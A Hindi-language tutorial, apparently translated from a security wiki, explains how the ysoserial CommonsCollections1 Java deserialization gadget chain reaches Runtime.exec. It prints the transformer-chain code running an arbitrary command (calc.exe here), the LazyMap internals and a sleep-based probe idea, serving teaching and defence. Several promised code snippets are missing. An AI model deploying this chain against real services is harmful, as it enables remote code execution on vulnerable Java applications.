यदि आपको जावा डेसिरियलाइजेशन पेलोड्स के बारे में कुछ नहीं पता है, तो यह समझना मुश्किल हो सकता है कि यह कोड कैलकुलेटर को क्यों चलाएगा।
सबसे पहले, आपको यह जानने की आवश्यकता है कि जावा में ट्रांसफार्मर कुछ ऐसा है जो एक क्लास को प्राप्त करता है और इसे एक अलग क्लास में बदलता है।
यह जानना भी दिलचस्प है कि यहाँ एक्सीक्यूट किया जा रहा पेलोडसमकक्ष है:
तो, पहला payload उन "सरल" एक-लाइनर्स के बराबर कैसे प्रस्तुत किया गया है?
पहले तो, आप payload में देख सकते हैं कि एक transform का एक श्रृंखला (array) बनाई गई है:
String[] command = {"calc.exe"};finalTransformer[] transformers =newTransformer[]{//(1) - Get gadget Class (from Runtime class)newConstantTransformer(Runtime.class),//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"newInvokerTransformer("getMethod",newClass[]{ String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}),//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime ojectnewInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}),//(4) - Use the Runtime object to call exec with arbitrary commandsnewInvokerTransformer("exec",newClass[]{String.class},command)};ChainedTransformer chainedTransformer =newChainedTransformer(transformers);
यदि आप कोड पढ़ते हैं, तो आप देखेंगे कि यदि आप किसी तरह से ऐरे के परिवर्तन को श्रृंखला में जोड़ते हैं, तो आप मनमाने कमांड निष्पादित करने में सक्षम हो सकते हैं।
पेलोड के अंतिम अनुभाग में आप देख सकते हैं कि एक Map ऑब्जेक्ट बनाया गया है। फिर, LazyMap से decorate फ़ंक्शन को मैप ऑब्जेक्ट और चेन किए गए ट्रांसफार्मर्स के साथ निष्पादित किया जाता है। निम्नलिखित कोड से आप देख सकते हैं कि यह चेन किए गए ट्रांसफार्मर्स को lazyMap.factory विशेषता के अंदर कॉपी करने का कारण बनेगा:
protectedLazyMap(Map map,Transformer factory) {super(map);if (factory ==null) {thrownewIllegalArgumentException("Factory must not be null");}this.factory= factory;}
और फिर महान समापन निष्पादित होता है: lazyMap.get("anything");
यह get फ़ंक्शन का कोड है:
publicObjectget(Object key) {if (map.containsKey(key) ==false) {Object value =factory.transform(key);map.put(key, value);return value;}returnmap.get(key);}
और यह transform फ़ंक्शन का कोड है
publicObjecttransform(Object object) {for (int i =0; i <iTransformers.length; i++) {object = iTransformers[i].transform(object);}return object;}
तो, याद रखें कि factory के अंदर हमने chainedTransformer को सहेजा था और transform फ़ंक्शन के अंदर हम सभी उन ट्रांसफार्मर्स को चेन में जा रहे हैं और एक के बाद एक निष्पादित कर रहे हैं। मजेदार बात यह है कि प्रत्येक ट्रांसफार्मर objectको इनपुट के रूप में उपयोग कर रहा है और object पिछले निष्पादित ट्रांसफार्मर से आउटपुट है। इसलिए, सभी ट्रांसफार्म्स चेन में दुर्भावनापूर्ण पेलोड को निष्पादित कर रहे हैं।
सारांश
अंत में, यह देखते हुए कि lazyMap चेन किए गए ट्रांसफार्मर्स को get विधि के अंदर कैसे प्रबंधित कर रहा है, यह ऐसा है जैसे हम निम्नलिखित कोड को निष्पादित कर रहे हैं:
ध्यान दें कि यहाँ गैजेट्स का वर्णन किया गया है जो ComonsCollections1 पेलोड के लिए उपयोग किए जाते हैं। लेकिन यह छोड़ दिया गया है कि यह सब कैसे शुरू होता है और यह कैसे निष्पादित होता है। आप यहाँ देख सकते हैं कि ysoserial, इस पेलोड को निष्पादित करने के लिए, एक AnnotationInvocationHandler ऑब्जेक्ट का उपयोग करता है क्योंकि जब यह ऑब्जेक्ट डीसिरियलाइज होता है, यह payload.get() फ़ंक्शन को निष्पादित करेगा जो पूरे पेलोड को निष्पादित करेगा।
Java Thread Sleep
यह पेलोड यह पहचानने के लिए उपयोगी हो सकता है कि क्या वेब कमजोर है क्योंकि यह यदि कमजोर है तो एक स्लीप निष्पादित करेगा।